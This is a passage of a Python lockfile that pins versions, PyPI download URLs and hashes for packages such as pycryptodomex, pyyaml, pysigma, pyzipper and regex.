{ url = "https://files.pythonhosted.org/packages/cc/c2/3d3d99065816de8acafc77917ac4c0b8e8df74f407ec2955a26f8b641a67/pybcj-1.0.8-cp314-cp314t-win_amd64.whl", hash = "sha256:331c21f0636150d4b846e0749cb0e8d6cbd133692368b391f9ba75dc02d5c51f", size = 25481, upload-time = "2026-07-16T22:47:22.357Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ed/76/0901ba3b67842dbf4263c832ab8b05d6441eabfd97bec1d77d27b90a7a4c/pybcj-1.0.8-cp314-cp314t-win_arm64.whl", hash = "sha256:935e0588be20a2b7c3554a6415d1fdb66acfde037df718b7927033b658428518", size = 24893, upload-time = "2026-07-16T22:47:23.547Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pycparser"
|
||||||
|
version = "3.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pycryptodomex"
|
||||||
|
version = "3.23.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/c9/85/e24bf90972a30b0fcd16c73009add1d7d7cd9140c2498a68252028899e41/pycryptodomex-3.23.0.tar.gz", hash = "sha256:71909758f010c82bc99b0abf4ea12012c98962fbf0583c2164f8b84533c2e4da", size = 4922157, upload-time = "2025-05-17T17:23:41.434Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/dd/9c/1a8f35daa39784ed8adf93a694e7e5dc15c23c741bbda06e1d45f8979e9e/pycryptodomex-3.23.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:06698f957fe1ab229a99ba2defeeae1c09af185baa909a31a5d1f9d42b1aaed6", size = 2499240, upload-time = "2025-05-17T17:22:46.953Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7a/62/f5221a191a97157d240cf6643747558759126c76ee92f29a3f4aee3197a5/pycryptodomex-3.23.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:b2c2537863eccef2d41061e82a881dcabb04944c5c06c5aa7110b577cc487545", size = 1644042, upload-time = "2025-05-17T17:22:49.098Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8c/fd/5a054543c8988d4ed7b612721d7e78a4b9bf36bc3c5ad45ef45c22d0060e/pycryptodomex-3.23.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:43c446e2ba8df8889e0e16f02211c25b4934898384c1ec1ec04d7889c0333587", size = 2186227, upload-time = "2025-05-17T17:22:51.139Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c8/a9/8862616a85cf450d2822dbd4fff1fcaba90877907a6ff5bc2672cafe42f8/pycryptodomex-3.23.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f489c4765093fb60e2edafdf223397bc716491b2b69fe74367b70d6999257a5c", size = 2272578, upload-time = "2025-05-17T17:22:53.676Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/46/9f/bda9c49a7c1842820de674ab36c79f4fbeeee03f8ff0e4f3546c3889076b/pycryptodomex-3.23.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bdc69d0d3d989a1029df0eed67cc5e8e5d968f3724f4519bd03e0ec68df7543c", size = 2312166, upload-time = "2025-05-17T17:22:56.585Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/03/cc/870b9bf8ca92866ca0186534801cf8d20554ad2a76ca959538041b7a7cf4/pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:6bbcb1dd0f646484939e142462d9e532482bc74475cecf9c4903d4e1cd21f003", size = 2185467, upload-time = "2025-05-17T17:22:59.237Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/96/e3/ce9348236d8e669fea5dd82a90e86be48b9c341210f44e25443162aba187/pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:8a4fcd42ccb04c31268d1efeecfccfd1249612b4de6374205376b8f280321744", size = 2346104, upload-time = "2025-05-17T17:23:02.112Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a5/e9/e869bcee87beb89040263c416a8a50204f7f7a83ac11897646c9e71e0daf/pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:55ccbe27f049743a4caf4f4221b166560d3438d0b1e5ab929e07ae1702a4d6fd", size = 2271038, upload-time = "2025-05-17T17:23:04.872Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8d/67/09ee8500dd22614af5fbaa51a4aee6e342b5fa8aecf0a6cb9cbf52fa6d45/pycryptodomex-3.23.0-cp37-abi3-win32.whl", hash = "sha256:189afbc87f0b9f158386bf051f720e20fa6145975f1e76369303d0f31d1a8d7c", size = 1771969, upload-time = "2025-05-17T17:23:07.115Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/69/96/11f36f71a865dd6df03716d33bd07a67e9d20f6b8d39820470b766af323c/pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:52e5ca58c3a0b0bd5e100a9fbc8015059b05cffc6c66ce9d98b4b45e023443b9", size = 1803124, upload-time = "2025-05-17T17:23:09.267Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f9/93/45c1cdcbeb182ccd2e144c693eaa097763b08b38cded279f0053ed53c553/pycryptodomex-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:02d87b80778c171445d67e23d1caef279bf4b25c3597050ccd2e13970b57fd51", size = 1707161, upload-time = "2025-05-17T17:23:11.414Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pygments"
|
||||||
|
version = "2.21.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/49/2e/ced460408999b33da6b31b0021b0f37d329e202d4169aeb164493778f25b/pygments-2.21.0.tar.gz", hash = "sha256:610ca751c9bc2492b38eb9a38a7fbc93edbbb2d7182edaf34e66ae493dee5c8c", size = 5005329, upload-time = "2026-08-17T08:02:48.824Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/71/46/17f022dd3e953bf20a04a028a21ec746d942f8d2af30fa0f124fa0e6a684/pygments-2.21.0-py3-none-any.whl", hash = "sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9", size = 1250147, upload-time = "2026-08-17T08:02:44.912Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pyparsing"
|
||||||
|
version = "3.3.3"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/e4/11/b213bebff182584360cb8d17c72c1677fec5c5c228de439e63bcf8ab1c8f/pyparsing-3.3.3.tar.gz", hash = "sha256:928ae7e20211f3b6f3915a72f06a0cfd29ab9d24279dd6346b6b1a7146397d36", size = 1050487, upload-time = "2026-09-20T20:59:05.609Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/38/bb/d215ee7c73b61497b28a5503f9f53523f294fcc936762b7caf90e0c1c2b5/pyparsing-3.3.3-py3-none-any.whl", hash = "sha256:ece8c00a69cf01b45d0b1dedabb469c90d8caf996d4fda40f147627a122849a4", size = 126420, upload-time = "2026-09-20T20:59:04.025Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pyppmd"
|
||||||
|
version = "1.3.1"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/81/d7/803232913cab9163a1a97ecf2236cd7135903c46ac8d49613448d88e8759/pyppmd-1.3.1.tar.gz", hash = "sha256:ced527f08ade4408c1bfc5264e9f97ffac8d221c9d13eca4f35ec1ec0c7b6b2e", size = 1351815, upload-time = "2025-11-27T22:08:44.175Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/65/10/ac2a011af1c7c40b6482e60d85d267ac5923fb8794b51bfddbb56b04d1ec/pyppmd-1.3.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:ea53f71ac16e113599b8441a9d8b6dcd71cfdf15cdb33ba5151810b8e656c5ec", size = 77897, upload-time = "2025-11-27T22:08:17.104Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/20/13/737f4dac06685865d23f51b7061dbe9373c7bcc60b5b6456cd08301bc807/pyppmd-1.3.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:985c8703b53e5f68fe17f653e96748d60b1f855676c852a6e67cd472eb853671", size = 48268, upload-time = "2025-11-27T22:08:18.263Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c2/d3/c50ebaee8b8a064fe9a534e98df5051e309efb705728aadff4e6893cd87f/pyppmd-1.3.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:33daa996ad5203c665c0b55aff6329817b2cb7fa95f2c33a2e83ed0121b400cb", size = 48521, upload-time = "2025-11-27T22:08:19.742Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/80/6c/4a97c0a0ab7640aeddde4843cb6381b80ecb71fe2c6c48b9032d60586b11/pyppmd-1.3.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b49870c6d7194f6eb80f30335ca03596d153e02fcde2c222e4f1202ac25f7fcf", size = 142892, upload-time = "2025-11-27T22:08:20.972Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8f/22/744c32c7da3de171d9e62a1b2cb4104544ac778358565a3dbc06a2253324/pyppmd-1.3.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:385e92c97c42e8a6f0bfc0e4acfc6c074cb1ba3a2f650f292696dd9f19e2e603", size = 144550, upload-time = "2025-11-27T22:08:22.594Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/4a/18/84af6808e0754923062122d3ee9f0532050f1612069d558bb5d53978e67a/pyppmd-1.3.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:017a1e2903f1c3147a1046db486990d401e8a25eb52c320b1fc2fb3e7b83cbeb", size = 139850, upload-time = "2025-11-27T22:08:23.863Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/20/5e/dc6166ea7929d442625301289d99313a5b358e3cb2e927a6bd913047e8ee/pyppmd-1.3.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f2770a4b777c0c5236b3d9294b7bf4bc15538c95d45b2079eb8ebc1298e62e37", size = 142589, upload-time = "2025-11-27T22:08:25.228Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/77/92/adc6b12ddf11173a02fd631010f88ad4fe4c532363959638d5d53583a3d9/pyppmd-1.3.1-cp314-cp314-win32.whl", hash = "sha256:b9d54cd59ce97f2ba57be1da91b3d874d129faca21c9565d7afec111f942e6a1", size = 42761, upload-time = "2025-11-27T22:08:26.917Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/12/4c/5003a413d9f2743298a070df6713a75dedccc470e7adeeced5b43cad7418/pyppmd-1.3.1-cp314-cp314-win_amd64.whl", hash = "sha256:0e64247618cb150d2909beb0137da3084fef1d3479b4cc73b5b47fda7611abf9", size = 47806, upload-time = "2025-11-27T22:08:28.059Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/07/b7/db927e1df7fc3132cb57960f4ea23bf174c7e86ccec22857e6a35cccdae7/pyppmd-1.3.1-cp314-cp314-win_arm64.whl", hash = "sha256:d354d6e551d2630b0ac98f27e3ad63e86cdcac9ce2115b5dfe46e2c9d3f4e82c", size = 46122, upload-time = "2025-11-27T22:08:29.191Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a7/5f/3150227624f374b06e331a7f67ae3383e796dd90973ee17ec3e35d30524c/pyppmd-1.3.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:2d77ed79662c32e2551748d59763cfe3dcd10855bf3495937e3d5e5917507818", size = 78876, upload-time = "2025-11-27T22:08:30.635Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2b/81/11a3bba62d1d92050f4dd86db810062b506ec76d20b6e00b4ab567ff15e4/pyppmd-1.3.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:6a1f92b94635c23d85270bb26db25cc0db544e436af86efc1cf58302d71d5af1", size = 48830, upload-time = "2025-11-27T22:08:32.087Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/24/47/e8f50cf89c689543d5a16c7be3df3c4afd43cbeb1a019b84ff9e82f13415/pyppmd-1.3.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:610f214f2405e27eb5a3dad7fa15f385cfc42141a01cda71995d9c1e0b09fab9", size = 48956, upload-time = "2025-11-27T22:08:33.567Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/0b/0f/944b30679a8dea3ea95a66531ee30cb6feb5d011ec7fd6832069d9130bf3/pyppmd-1.3.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ae81a14895498d9a23429d92114c98da478b74b8e33251527d7cff3e01c09de0", size = 152872, upload-time = "2025-11-27T22:08:35.098Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ae/87/1e48ea92994f4c72dc9b5520a6a386b21c524d3d2969c2c2a5c325929ad7/pyppmd-1.3.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d1683e6d1ba09e377e0ae02de3a518191a3d63ccdb0b6037c74e6ddf577b5644", size = 154210, upload-time = "2025-11-27T22:08:36.368Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/3f/21/650911f98c4cb360442724bbdade27cb3679b0587ea77e73512693d2918d/pyppmd-1.3.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e4d74fa0f3531e9dadc56e0ace41bce82d3c0babed47b3f224101dc0dbde7287", size = 147636, upload-time = "2025-11-27T22:08:37.657Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7c/29/4f8cfc1dd67b04ced8c10669fa14c4e35a42cf4a84e1101793735a82d5f0/pyppmd-1.3.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:7f8d6375b18b9c79127fee0885cfd52e2e983edb67041464309426571d38dcd4", size = 150998, upload-time = "2025-11-27T22:08:38.951Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c4/da/dc9e5e10bc56056bd8c33e533517cb327752cbaf172688bba3c23f6b2318/pyppmd-1.3.1-cp314-cp314t-win32.whl", hash = "sha256:de87f7acd575fb07a4ff42d41bcc071570fe759a36f345f1f54f574ecfccfc5b", size = 43016, upload-time = "2025-11-27T22:08:40.234Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/fa/a0/46dc15549ad2c0427a9825730e6bdf342045ad410543368afd4389a16f36/pyppmd-1.3.1-cp314-cp314t-win_amd64.whl", hash = "sha256:76e4800aa67292b4cc80058fd29b39e02a5dded721af9fe5654f356ef24307f4", size = 48636, upload-time = "2025-11-27T22:08:41.45Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a1/7b/7e9a83848de928c26f0ab3ee105c0da63a932a0804a94807205e6313e73a/pyppmd-1.3.1-cp314-cp314t-win_arm64.whl", hash = "sha256:e066cbf1d335fe20480cd8ecc10848ba78d99fe6d1e44ea00def48feaf46afdf", size = 46402, upload-time = "2025-11-27T22:08:42.804Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pysigma"
|
||||||
|
version = "1.5.1"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "diskcache" },
|
||||||
|
{ name = "diskcache-stubs" },
|
||||||
|
{ name = "jinja2" },
|
||||||
|
{ name = "jq" },
|
||||||
|
{ name = "packaging" },
|
||||||
|
{ name = "pyparsing" },
|
||||||
|
{ name = "pyyaml" },
|
||||||
|
{ name = "requests" },
|
||||||
|
{ name = "types-pyyaml" },
|
||||||
|
{ name = "typing-extensions" },
|
||||||
|
]
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/8c/ca/ed5d1e86bb08501a0b664500224d5e58d6801a63713ad8f05857b9cf3c1f/pysigma-1.5.1.tar.gz", hash = "sha256:5f27ea435bc53480b43f9e385104c6df3d473715321d662a52a1fc283ab0b8db", size = 142073, upload-time = "2026-09-21T16:18:30.855Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b9/65/23d04dccc3a2d7db302eb751400a6d2ae328f849598871b8270f0ea60cc9/pysigma-1.5.1-py3-none-any.whl", hash = "sha256:1e6e080bde31db6039eb5d87d43322bf416534f30048091c65038e88225b8200", size = 171485, upload-time = "2026-09-21T16:18:29.147Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pyyaml"
|
||||||
|
version = "6.0.3"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 130960, upload-time = "2025-09-25T21:33:16.546Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/9d/8c/f4bd7f6465179953d3ac9bc44ac1a8a3e6122cf8ada906b4f96c60172d43/pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac", size = 181814, upload-time = "2025-09-25T21:32:35.712Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310", size = 173809, upload-time = "2025-09-25T21:32:36.789Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/92/b5/47e807c2623074914e29dabd16cbbdd4bf5e9b2db9f8090fa64411fc5382/pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7", size = 766454, upload-time = "2025-09-25T21:32:37.966Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/02/9e/e5e9b168be58564121efb3de6859c452fccde0ab093d8438905899a3a483/pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788", size = 836355, upload-time = "2025-09-25T21:32:39.178Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5", size = 794175, upload-time = "2025-09-25T21:32:40.865Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/dd/3f/5989debef34dc6397317802b527dbbafb2b4760878a53d4166579111411e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764", size = 755228, upload-time = "2025-09-25T21:32:42.084Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d7/ce/af88a49043cd2e265be63d083fc75b27b6ed062f5f9fd6cdc223ad62f03e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35", size = 789194, upload-time = "2025-09-25T21:32:43.362Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/23/20/bb6982b26a40bb43951265ba29d4c246ef0ff59c9fdcdf0ed04e0687de4d/pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac", size = 156429, upload-time = "2025-09-25T21:32:57.844Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f4/f4/a4541072bb9422c8a883ab55255f918fa378ecf083f5b85e87fc2b4eda1b/pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3", size = 143912, upload-time = "2025-09-25T21:32:59.247Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7c/f9/07dd09ae774e4616edf6cda684ee78f97777bdd15847253637a6f052a62f/pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3", size = 189108, upload-time = "2025-09-25T21:32:44.377Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/4e/78/8d08c9fb7ce09ad8c38ad533c1191cf27f7ae1effe5bb9400a46d9437fcf/pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba", size = 183641, upload-time = "2025-09-25T21:32:45.407Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7b/5b/3babb19104a46945cf816d047db2788bcaf8c94527a805610b0289a01c6b/pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c", size = 831901, upload-time = "2025-09-25T21:32:48.83Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8b/cc/dff0684d8dc44da4d22a13f35f073d558c268780ce3c6ba1b87055bb0b87/pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702", size = 861132, upload-time = "2025-09-25T21:32:50.149Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b1/5e/f77dc6b9036943e285ba76b49e118d9ea929885becb0a29ba8a7c75e29fe/pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c", size = 839261, upload-time = "2025-09-25T21:32:51.808Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ce/88/a9db1376aa2a228197c58b37302f284b5617f56a5d959fd1763fb1675ce6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065", size = 805272, upload-time = "2025-09-25T21:32:52.941Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/da/92/1446574745d74df0c92e6aa4a7b0b3130706a4142b2d1a5869f2eaa423c6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65", size = 829923, upload-time = "2025-09-25T21:32:54.537Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f0/7a/1c7270340330e575b92f397352af856a8c06f230aa3e76f86b39d01b416a/pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9", size = 174062, upload-time = "2025-09-25T21:32:55.767Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f1/12/de94a39c2ef588c7e6455cfbe7343d3b2dc9d6b6b2f40c4c6565744c873d/pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b", size = 149341, upload-time = "2025-09-25T21:32:56.828Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pyzipper"
|
||||||
|
version = "0.4.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "pycryptodomex" },
|
||||||
|
]
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/8b/5a/548039b202f85fcdfbadaddde2f4182c6dbf7730bbe005b24f903ae886ee/pyzipper-0.4.0.tar.gz", hash = "sha256:a4b96afcac04c5589d5abdc6158dd362166374e3cc6810aa441e65f8a17cb9e3", size = 36780, upload-time = "2026-05-14T04:06:28.903Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/1e/9a/db7b20df854ea3a7f25ee9d7bc31ff3ecce085843bcf4c06bd9c1dcc34e0/pyzipper-0.4.0-py3-none-any.whl", hash = "sha256:aa7b8a0fe741d67aac36ead85f6e735af107b72f84e0775f2ed565fc0d3a2f02", size = 36643, upload-time = "2026-05-14T04:06:27.332Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "regex"
|
||||||
|
version = "2026.9.29"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/fc/f2/af1da9d3ceed77bfcdce40427d49ba0be94e4fe84245e3bfef68c10e75b6/regex-2026.9.29.tar.gz", hash = "sha256:8b5fcc4771732191b2b7d1dd68d8f0353f47f8d90b6150f6dce58bf1112442cb", size = 419199, upload-time = "2026-09-29T00:49:58.298Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/93/1f/d9dc6f02f569625faf67a4daec926cd5023472dcd69bb44286dccd5a5ab3/regex-2026.9.29-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:957bb708e8057ab1649ba566456429d691ec9b90d1c9ad1af1ba7ffbbeaf05f2", size = 497598, upload-time = "2026-09-29T00:47:36.541Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/9c/83/9b693a3fd1451381e812031a8961ec5b3b8f0c8cc6871f14c5223642804d/regex-2026.9.29-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c9b602fae1e00b7c035d661ce85575365719192a7b46784bd71cf64c68053aa0", size = 296250, upload-time = "2026-09-29T00:47:38.233Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/dd/5f/52bc2abc3fef040cd9de76ab29c918d6a717a454ae2b9dd7938b0c95656d/regex-2026.9.29-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:0166844493626c5015c6088ee15c9ca2fd060ca15b7641d1657da6a58432ae33", size = 293518, upload-time = "2026-09-29T00:47:39.957Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/dc/fc/cf50671215ee0057046980b4571ef8646a005819bb67f0957e779ed107a5/regex-2026.9.29-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b97a38fb4c732b6832db6bf108963adbcd82ef1268ba2025dce390f45af75efa", size = 806037, upload-time = "2026-09-29T00:47:41.676Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/14/4b/dddef8fc15c63e4347cc9efb138d0cd306f30e6c98acbcc81a8f780083b9/regex-2026.9.29-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a540abfab208e1b7ef2df231c40ef3b6cbb30a0aad6204e9b6a81c10a6794628", size = 878881, upload-time = "2026-09-29T00:47:43.755Z" },
|
||||||
|
